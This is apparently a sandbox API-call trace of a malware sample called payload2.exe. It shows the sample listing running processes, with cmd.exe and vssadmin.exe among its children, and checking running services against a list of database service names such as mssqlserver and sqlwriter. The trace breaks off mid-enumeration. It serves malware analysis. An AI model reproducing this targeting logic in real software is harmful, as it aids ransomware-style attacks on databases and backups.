	[0183.561] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0183.562] lstrlenW (lpString="taskhostw.exe") returned 13
	[0183.562] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0183.564] lstrlenW (lpString="msoia.exe") returned 9
	[0183.564] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0183.565] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0183.565] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0183.565] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0183.565] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0183.566] lstrlenW (lpString="Memory Compression") returned 18
	[0183.566] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0183.567] lstrlenW (lpString="explorer.exe") returned 12
	[0183.567] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0183.567] lstrlenW (lpString="SearchUI.exe") returned 12
	[0183.567] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0183.568] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0183.568] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0183.568] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0183.568] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0183.569] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0183.569] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0183.569] lstrlenW (lpString="payload2.exe") returned 12
	[0183.570] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0183.570] lstrlenW (lpString="cmd.exe") returned 7
	[0183.570] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0183.571] lstrlenW (lpString="conhost.exe") returned 11
	[0183.571] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0183.571] lstrlenW (lpString="consent.exe") returned 11
	[0183.571] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0183.572] lstrlenW (lpString="vssadmin.exe") returned 12
	[0183.572] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0183.572] CloseHandle (hObject=0x590) returned 1
	[0183.573] Sleep (dwMilliseconds=0x1f4) 
	[0184.399] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667fe8
	[0184.400] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0184.401] GetLastError () returned 0xea
	[0184.401] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0184.401] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0184.402] CloseServiceHandle (hSCObject=0x667fe8) returned 1
	[0184.403] lstrlenW (lpString="Appinfo") returned 7
	[0184.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0184.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0184.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0184.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0184.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0184.403] lstrlenW (lpString="AppXSvc") returned 7
	[0184.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.403] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0184.403] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0184.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0184.403] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0184.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.403] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0184.404] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0184.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0184.404] lstrlenW (lpString="Audiosrv") returned 8
	[0184.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0184.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0184.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0184.404] lstrlenW (lpString="BFE") returned 3
	[0184.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0184.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0184.404] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0184.404] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0184.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0184.404] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0184.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.404] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0184.404] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0184.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0184.404] lstrlenW (lpString="CDPSvc") returned 6
	[0184.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0184.405] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0184.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0184.405] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0184.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0184.405] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0184.405] lstrlenW (lpString="CryptSvc") returned 8
	[0184.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0184.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0184.405] lstrlenW (lpString="DcomLaunch") returned 10
	[0184.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.406] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0184.406] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0184.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0184.406] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0184.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.406] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0184.406] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0184.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0184.406] lstrlenW (lpString="Dhcp") returned 4
	[0184.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0184.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0184.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0184.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0184.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0184.406] lstrlenW (lpString="Dnscache") returned 8
	[0184.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0184.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0184.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0184.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0184.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0184.407] lstrlenW (lpString="DPS") returned 3
	[0184.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0184.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0184.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0184.407] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0184.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0184.407] lstrlenW (lpString="DsmSvc") returned 6
	[0184.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0184.407] lstrlenW (lpString="DusmSvc") returned 7
	[0184.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0184.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0184.407] lstrlenW (lpString="EventLog") returned 8
	[0184.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0184.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0184.408] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0184.408] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0184.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0184.408] lstrlenW (lpString="EventSystem") returned 11
	[0184.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0184.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0184.408] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0184.408] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0184.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0184.408] lstrlenW (lpString="FontCache") returned 9
	[0184.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0184.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0184.408] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0184.408] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0184.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0184.408] lstrlenW (lpString="gpsvc") returned 5
	[0184.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0184.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0184.408] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0184.408] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0184.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0184.559] lstrlenW (lpString="iphlpsvc") returned 8
	[0184.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.592] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0184.592] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0184.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0184.592] lstrlenW (lpString="KeyIso") returned 6
	[0184.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0184.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0184.592] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0184.592] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0184.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0184.592] lstrlenW (lpString="LanmanServer") returned 12
	[0184.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.592] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0184.592] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0184.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0184.592] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0184.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.592] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0184.592] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0184.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0184.593] lstrlenW (lpString="lfsvc") returned 5
	[0184.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0184.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0184.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0184.593] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0184.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0184.593] lstrlenW (lpString="lmhosts") returned 7
	[0184.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0184.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0184.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0184.593] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0184.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0184.594] lstrlenW (lpString="LSM") returned 3
	[0184.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0184.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0184.594] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0184.594] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0184.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0184.594] lstrlenW (lpString="MpsSvc") returned 6
	[0184.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.594] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0184.594] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0184.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0184.594] lstrlenW (lpString="NcbService") returned 10
	[0184.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0184.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0184.594] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0184.594] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0184.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0184.595] lstrlenW (lpString="netprofm") returned 8
	[0184.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0184.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0184.595] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0184.595] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0184.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0184.595] lstrlenW (lpString="NgcSvc") returned 6
	[0184.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.595] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0184.595] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0184.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0184.595] lstrlenW (lpString="NlaSvc") returned 6
	[0184.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.595] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0184.595] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0184.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0184.595] lstrlenW (lpString="nsi") returned 3
	[0184.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0184.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0184.596] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0184.596] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0184.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0184.596] lstrlenW (lpString="PcaSvc") returned 6
	[0184.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.596] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0184.596] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0184.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0184.596] lstrlenW (lpString="PlugPlay") returned 8
	[0184.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.596] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0184.596] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0184.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0184.596] lstrlenW (lpString="Power") returned 5
	[0184.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0184.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0184.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0184.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0184.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0184.597] lstrlenW (lpString="ProfSvc") returned 7
	[0184.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.597] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0184.597] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0184.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0184.597] lstrlenW (lpString="RpcEptMapper") returned 12
	[0184.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.597] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0184.597] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0184.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0184.597] lstrlenW (lpString="RpcSs") returned 5
	[0184.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0184.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0184.597] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
